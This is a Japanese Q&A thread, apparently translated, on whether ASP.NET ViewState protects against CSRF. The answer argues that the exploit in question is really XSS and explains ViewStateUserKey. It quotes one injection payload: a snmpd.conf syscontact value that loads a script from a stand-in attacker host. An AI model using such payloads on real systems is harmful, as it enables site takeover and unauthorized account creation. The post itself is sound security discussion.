リクエストにビューステートを含めると、どのような条件下でCSRF攻撃が防止されますか? このエクスプロイトは、ビューステートがリクエストに存在していても、CSRFに対して脆弱であると主張しています。ただし、このエクスプロイトは、なぜこれが当てはまるのかを説明していません。
1 に答える
ビューステートは、ポストバック間でビューの状態 (つまり、コントロールのプロパティ値) を保持する手段です。攻撃者がこの状態を推測または偽造できる場合、攻撃者は本物のクロスサイト リクエストを偽造することもできます。
上記のケースでは、CSRF エクスプロイトのためにクロスサイト スクリプティングの脆弱性が実際に攻撃に必要なようです。
XSS と CSRF の組み合わせにより、攻撃者が制御する JavaScript ファイルを指すように snmpd.conf ファイルを構成することで、ユーザーを Web アプリケーションに追加できます。
syscontact <script src="http://attacker/evil.js"></script>
したがって、エクスプロイト コードがターゲット オリジン内で実行されると、このリクエスト フォージェリ攻撃はもはや「クロスサイト」ではなくなります。
それに加えて、ビューステートは特定の状況下で予測可能であり、CSRF 攻撃から保護されないため、ベンダーは予測できない情報をビューステート メカニズムに追加しました。ASP.NET では、これはViewStateUserKeyプロパティと呼ばれます。これは基本的に、ビューステートの MAC 計算のソルトに使用されるユーザーごとの秘密キーです。
しかし、エクスプロイトの説明にあるように、彼らはすでにそのような保護手段を使用しているようです。
[…] NPM は VIEWSTATE 保護を利用しているにもかかわらず、CSRF 攻撃に対しても脆弱です。
繰り返しになりますが、これはクロスサイト リクエスト フォージェリの脆弱性ではなく、クロスサイト スクリプティングの脆弱性です。サイト内から JavaScript コードを実行できる場合は、サイトを完全に制御できます。